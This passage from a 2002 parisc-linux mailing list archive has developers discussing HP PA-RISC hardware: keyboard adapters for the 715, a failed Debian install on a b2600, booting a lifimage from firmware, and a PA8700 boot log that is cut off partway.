	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 May 2002 14:22:37 -0600 (MDT)
Original-Received: from localhost (andersop@localhost)
	by bob.ncssm.edu (8.11.6/8.11.6) with ESMTP id g4MKRDp15397
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 May 2002 16:27:13 -0400
X-X-Sender: andersop@bob.ncssm.edu
In-Reply-To: <20020522185132.7DB0F482D@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14810

I think I have one of these sitting around here, sans 715 to use it with. 
If you can't find it anywhere else, talk to me and I could send it or 
something.

-phil


On Wed, 22 May 2002, Grant Grundler wrote:

> s-clarob@st-aidans.cumbria.sch.uk wrote:
> > Just bought a 715 to upgrade my 712 without realising they needed a
> > special KB.
> 
> 715's need an adapter/dongle that should have come with the system.
> The dongle exports one HIL and 2 PS/2 ports.
> 
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
===============================================================================

Phil Anderson
UNIX Systems Administrator
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

the me that you know he used to have feelings
but the blood has stopped pumping and he is left to decay
the me that you know is now made up of wires
and even when i'm right with you i'm so far away
					-nine inch nails, the becoming




From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Thu, 23 May 2002 07:35:31 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020523063531.GH3471@sleepie.demon.co.uk>
References: <20020517130527.J32014@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517152054.4F2CE482A@dsl2.external.hp.com> <20020517172600.I29738@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517154923.47C7E4838@dsl2.external.hp.com> <20020521155220.A28518@humbolt.geo.uu.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621306 7421 80.91.229.3 (22 Nov 2014 01:55:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:06 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Armijn Hemel <armijn@nl.linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 23 00:57:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C9FB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 May 2002 00:57:45 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id B33839E96D; Thu, 23 May 2002 07:35:31 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020521155220.A28518@humbolt.geo.uu.nl>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14811

On Tue, May 21, 2002 at 03:52:21PM +0200, Armijn Hemel wrote:
> On Fri, May 17, 2002 at 09:49:23AM -0600, Grant Grundler wrote:
> > Can you be more specific (and cc the mailing list) where
> > you got the ISO from (ie file name)?

Since boot-floppies 3.0.22 (released 3rd April), at least, hppa has used
a 2.4.17-pa32 kernel.  Final woody b-f will use that same kernel, so
unless you have a very old ISO, I wouldn't expect a newer one to help.

If it turns out a more recent kernel is needed for some machines, I
could do a special b-f build and ISO.

Richard




From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Armijn Hemel <armijn@nl.linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Thu, 23 May 2002 11:02:27 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20020523110227.B10015@humbolt.geo.uu.nl>
References: <20020517130527.J32014@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517152054.4F2CE482A@dsl2.external.hp.com> <20020517172600.I29738@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517154923.47C7E4838@dsl2.external.hp.com> <20020521155220.A28518@humbolt.geo.uu.nl> <20020523063531.GH3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621306 7426 80.91.229.3 (22 Nov 2014 01:55:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 23 03:02:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from humbolt.nl.linux.org (humbolt.nl.linux.org [131.211.28.48])
	by dsl2.external.hp.com (Postfix) with ESMTP id D975D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 May 2002 03:02:34 -0600 (MDT)
Original-Received: (from localhost user: 'armijn' uid#1008 fake: STDIN
	(armijn@humbolt.nl.linux.org)) by humbolt.nl.linux.org
	id <S16270AbSEWJC1>; Thu, 23 May 2002 11:02:27 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20020523063531.GH3471@sleepie.demon.co.uk>; from rhirst@linuxcare.com on Thu, May 23, 2002 at 07:35:31AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14812

On Thu, May 23, 2002 at 07:35:31AM +0100, Richard Hirst wrote:

> > > Can you be more specific (and cc the mailing list) where
> > > you got the ISO from (ie file name)?
> 
> Since boot-floppies 3.0.22 (released 3rd April), at least, hppa has used
> a 2.4.17-pa32 kernel.  Final woody b-f will use that same kernel, so
> unless you have a very old ISO, I wouldn't expect a newer one to help.
> 
> If it turns out a more recent kernel is needed for some machines, I
> could do a special b-f build and ISO.

Well, I tried the ISO that Mattias pointed me at. The machine boots, kernel
loads, and the Debian installer starts, but, ehr, the keyboard didn't work,
so I couldn't continue.

I suspect that there's some driver missing for the keyboard (it's a USB
keyboard).

armijn

-- 
 ---------------------------------------------------------------------------
   armijn@nl.linux.org | http://people.nl.linux.org/~armijn/ | Penguin Power
 ---------------------------------------------------------------------------
                 http://nl.linux.org/ | Alles over Linux
 ---------------------------------------------------------------------------



From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Armijn Hemel <armijn@nl.linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Thu, 23 May 2002 15:20:53 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20020523152053.I11717@humbolt.geo.uu.nl>
References: <Pine.A41.4.44.0205211630470.17882-100000@stalin.acc.umu.se> <maswan@acc.umu.se> <20020521154508.99536482A@dsl2.external.hp.com> <20020521175328.A2442@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020521180553.5470F482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621307 7430 80.91.229.3 (22 Nov 2014 01:55:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:07 +0000 (UTC)
Cc: Armijn Hemel <armijn@nl.linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 23 07:21:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from humbolt.nl.linux.org (humbolt.nl.linux.org [131.211.28.48])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97E8A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 May 2002 07:21:11 -0600 (MDT)
Original-Received: (from localhost user: 'armijn' uid#1008 fake: STDIN
	(armijn@humbolt.nl.linux.org)) by humbolt.nl.linux.org
	id <S16341AbSEWNUx>; Thu, 23 May 2002 15:20:53 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20020521180553.5470F482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Tue, May 21, 2002 at 12:05:53PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14813

On Tue, May 21, 2002 at 12:05:53PM -0600, Grant Grundler wrote:

> [ back on-list ]
> 
> Armijn Hemel wrote:
> > Just burn them? How should I boot then? The b2600 doesn't have a floppy
> > drive. Don't I need PALO on the CD?
> 
> yes. CD or LAN. The lifimage has palo and vmlinux embedded in it,
> parisc firmware can boot a lifimage from LAN, tape, CD or HD.
> Any IO device the box has IODC for.

Ehr...how exactly should I do that? I know the first few steps (burn
lifimage somewhere on a CD, turn on machine, insert CD), but how
should I proceed? I looked in the FAQ, but the answer (nor the question)
is there. So, basically my question is: "How do I boot a lifimage from
a CD?"

[cut]

> > I'm quite desperate to be honest (and I think it shows). The machines I
> > have have to be returned to HP in .nl soon (they're from the demo pool,
> > trying to port yet another distro (ROCK Linux) to HPPA).
> 
> cool - keep the p-l mailing list posted on your progress.

Well, I did most of the work for our sparc64 port and most of the stuff
actually is to know what's different from x86...but finding that out can
be quite cumbersome...
I don't expect too many problems. The distro is built on top of another
distro (much like Linux From Scratch) and Debian is a great distro to
use to build on. But before I get too detailed...

armijn

-- 
 ---------------------------------------------------------------------------
   armijn@nl.linux.org | http://people.nl.linux.org/~armijn/ | Penguin Power
 ---------------------------------------------------------------------------
                 http://nl.linux.org/ | Alles over Linux
 ---------------------------------------------------------------------------



From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Thu, 23 May 2002 09:47:52 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <E17Auoi-0001eA-00@paul.bame>
References: <Pine.A41.4.44.0205211630470.17882-100000@stalin.acc.umu.se> <maswan@acc.umu.se> <20020521154508.99536482A@dsl2.external.hp.com> <20020521175328.A2442@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020521180553.5470F482A@dsl2.external.hp.com>  <20020523152053.I11717@humbolt.geo.uu.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621307 7438 80.91.229.3 (22 Nov 2014 01:55:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Armijn Hemel <armijn@nl.linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 23 09:47:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 688B3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 May 2002 09:47:58 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP
	id BD8F4805562; Thu, 23 May 2002 11:47:57 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 2C6F937F6E; Thu, 23 May 2002 09:47:57 -0600 (MDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id CE50145FE; Thu, 23 May 2002 09:47:52 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 17Auoi-0001eA-00; Thu, 23 May 2002 09:47:52 -0600
In-Reply-To: Your message of "Thu, 23 May 2002 15:20:53 +0200."
             <20020523152053.I11717@humbolt.geo.uu.nl> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14814

> Ehr...how exactly should I do that? I know the first few steps (burn
> lifimage somewhere on a CD, turn on machine, insert CD), but how
> should I proceed? I looked in the FAQ, but the answer (nor the question)
> is there. So, basically my question is: "How do I boot a lifimage from
> a CD?"

I believe there's a booting howto on the web site.

The short answer is to interrupt the boot firmware by pressing
any key in 10 seconds like it says.  Then with the CD in place,
type 'search' and wait.  It should report at least two bootable
devices similar to this:

    temporary
    nickname	bootable-device

	P0	scsi.6.0
	P1	ide

Then you type 'boot p1' or 'boot ide' (or maybe it's ide.0 I forget).

The firmware has a reasonable set of on-line help built in -- that's
how I learned how to use it.

	-P



From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Thu, 23 May 2002 18:19:56 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <3CED32CC.2030500@freebel.net>
References: <20020517130527.J32014@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517152054.4F2CE482A@dsl2.external.hp.com> <20020517172600.I29738@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517154923.47C7E4838@dsl2.external.hp.com> <20020521155220.A28518@humbolt.geo.uu.nl> <20020523063531.GH3471@sleepie.demon.co.uk> <20020523110227.B10015@humbolt.geo.uu.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621307 7444 80.91.229.3 (22 Nov 2014 01:55:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:07 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Armijn Hemel <armijn@nl.linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 23 12:19:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id BED6D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 May 2002 12:19:49 -0600 (MDT)
Original-Received: from [62.235.41.92] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17AxBe-0005Qq-00; Thu, 23 May 2002 20:19:43 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020515 Debian/1.0rc2-2
X-Scanner: exiscan *17AxBe-0005Qq-00*OTny4J4.k7s* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14815


Armijn Hemel wrote:
> On Thu, May 23, 2002 at 07:35:31AM +0100, Richard Hirst wrote:
> 
> 
>>>>Can you be more specific (and cc the mailing list) where
>>>>you got the ISO from (ie file name)?
>>>
>>Since boot-floppies 3.0.22 (released 3rd April), at least, hppa has used
>>a 2.4.17-pa32 kernel.  Final woody b-f will use that same kernel, so
>>unless you have a very old ISO, I wouldn't expect a newer one to help.
>>
>>If it turns out a more recent kernel is needed for some machines, I
>>could do a special b-f build and ISO.
> 
> 
> Well, I tried the ISO that Mattias pointed me at. The machine boots, kernel
> loads, and the Debian installer starts, but, ehr, the keyboard didn't work,
> so I couldn't continue.
> 
> I suspect that there's some driver missing for the keyboard (it's a USB
> keyboard).
> 
> armijn
> 
AFAIK you should prefer to install from a serial console
(anyway, i am not sure that usb keyboard and mouse are already supported?).
As serial console you can use any HP serial console if you have one at 
your disposal or better (you can log the output) a linux box using 
minicom and link the two boxes with a null-modem serial cable.
Do not also forget to disconnect the usb kbd and mouse from your b2600 
so that PDC will switch to serial port automaticaly.

I do something like this with bootp/tftp to install my b2000 last week. 
I rebuild a lifimage (could be with a xcompiler fo i386) with the one of 
the debian boot-floppy for hppa, palo and the last 2.4.18-pa24 kernel 
which i build localy. (I was not absolutly sure that 2.4.17-pa32 already 
supported ide cdrom)

Never the less the install procedure worked well untill I wanted to 
install the basic system because the check failled to found pppoe package?

Later I also encounter a well know loop problem to install kernel modules.

You should also encounter another problem because the release of palo 
installed with CD-0.9.3 do not yet support new scsi disk of 9Gb and more.

Definitly I do believe that a new cd-base.iso would be the best to help 
you to install a basic system to your project. (for me it was 'easiest' 
: once I booted with the lifimage,  I partioned my disk and 'just' had 
to copy my b180 to my b2000 with nfs)

Good luck,
	Joel

PS: Richard thanks in advance.







From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA8700 boots!
Date: Fri, 24 May 2002 00:55:40 -0600 (MDT)
Lines: 275
Approved: news@gmane.org
Message-ID: <20020524065540.DBFE4482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621307 7447 80.91.229.3 (22 Nov 2014 01:55:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:07 +0000 (UTC)
Cc: daemon:@dsl2.external.hp.com, kernel@dsl2.external.hp.com,
	klogd.@dsl2.external.hp.com, log@dsl2.external.hp.com,
	Starting@dsl2.external.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 00:55:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id DBFE4482A; Fri, 24 May 2002 00:55:40 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14816

I finally got my rp24xx machine (dual pa8700, 650Mhz) to boot!

I haven't committed the patch yet:
	ftp://ftp.parisc-linux.org/patches/sba_pa8700.diff

Problem was the IO PDIR was not coherent with the CPU and
thus wasn't seeing updates to the IO PDIR by the CPU.
Added some cache flushing/sync and some self modifying
code to patch those out on boxes that don't need it.

And that's why I haven't committed yet. I don't know
if and how that should really be done. I suspect I
need a FDC/SYNC/FIC to make sure the modified instructions
aren't in cache. I'm also not sure this is better since
it means sba_iopdir_entry() can't be inline...ie I
pay for an extra branch one way or another.

So I might toss this implementation and just use a global.

I also need to fixup the "unkown device" (PA8700 CPU)
in the hardware listing.

Lastly, the same PA8700 systems that need fdc for iopdir
also have some funny business WRT to Space ID hashing.
For those with access to HPUX source, look for flush_iopdir.
I don't pretend to understand what is wrong or what might
be broken for parisc-linux on those boxes.

grant



Firmware Version  42.00

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2001, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      650  MHz   Active                 Functional         750 KB 1.5 MB
      1      650  MHz   Idle                   Functional         750 KB 1.5 MB

  Central Bus Speed (in MHz)  :        120  
  Available Memory            :    3145728  KB
  Good Memory Required        :      25820  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/1.643         
   Keyboard path:        0/0/4/1.0           


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 00306e-2661a3
System IP Address 192.168.0.60
Server IP Address 192.168.0.22

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl 1.0 grundler@gsyprf11.external.hp.com Wed May 22 19:48:50 PDT 2002

Boot image contains:
    0/vmlinux64 3942047 bytes @ 0x8800

Command line for kernel: 'HOME=/ TERM=vt100 root=/dev/sda3  console=ttyS0 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 64-bit kernelELF64 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 2060832 mediaptr 0x1000
Segment 1 load 002f8000 size 642208 mediaptr 0x1f9000
Segment 2 load 00398000 size 410328 mediaptr 0x296000
Segment 3 load 00400000 size 16384 mediaptr 0x2fb000
Segment 4 load 00408000 size 32768 mediaptr 0x2ff000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.18-pa25 (grundler@gsyprf11.external.hp.com) (gcc version 3.0) #22 Thu May 23 23:09:37 PDT 2002
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005e20 00000491 00000000 00000001 73a33d02 100000f0 00000008 000000b2 000000b2
vers  00000203
CPUID vers 19 rev 8 (0x00000268)
capabilities 0x5
model 9000/800/A500-6X
Total Memory: 3072 Mb
pagetable_init
On node 0 totalpages: 786432
zone(0): 786432 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=vt100 root=/dev/sda3  console=ttyS0 palo_kernel=0/vmlinux
Calibrating delay loop... 1297.61 BogoMIPS
Memory: 3043892k available
Dentry-cache hash table entries: 131072 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 9, 2097152 bytes)
Mount-cache hash table entries: 65536 (order: 8, 1048576 bytes)
Buffer-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Page-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Searching for devices...
Found devices:
1. Unknown machine (0) at 0xfffffffffffa0000 [160], versions 0x5e2, 0x0, 0x4
2. Unknown machine (0) at 0xfffffffffffa2000 [162], versions 0x5e2, 0x0, 0x4
3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582, 0x0, 0xb
4. Elroy PCI Bridge (13) at 0xfffffffffed30000 [0/0], versions 0x782, 0x0, 0xa
5. Elroy PCI Bridge (13) at 0xfffffffffed34000 [0/2], versions 0x782, 0x0, 0xa
6. Elroy PCI Bridge (13) at 0xfffffffffed38000 [0/4], versions 0x782, 0x0, 0xa
7. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [0/6], versions 0x782, 0x0, 0xa
8. Memory (1) at 0xfffffffffed08000 [8], versions 0x9b, 0x0, 0x9
CONFIG_SMP=n  ignoring additional CPUs
CPU(s): 1 x PA8700 (PCX-W2) at 650.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
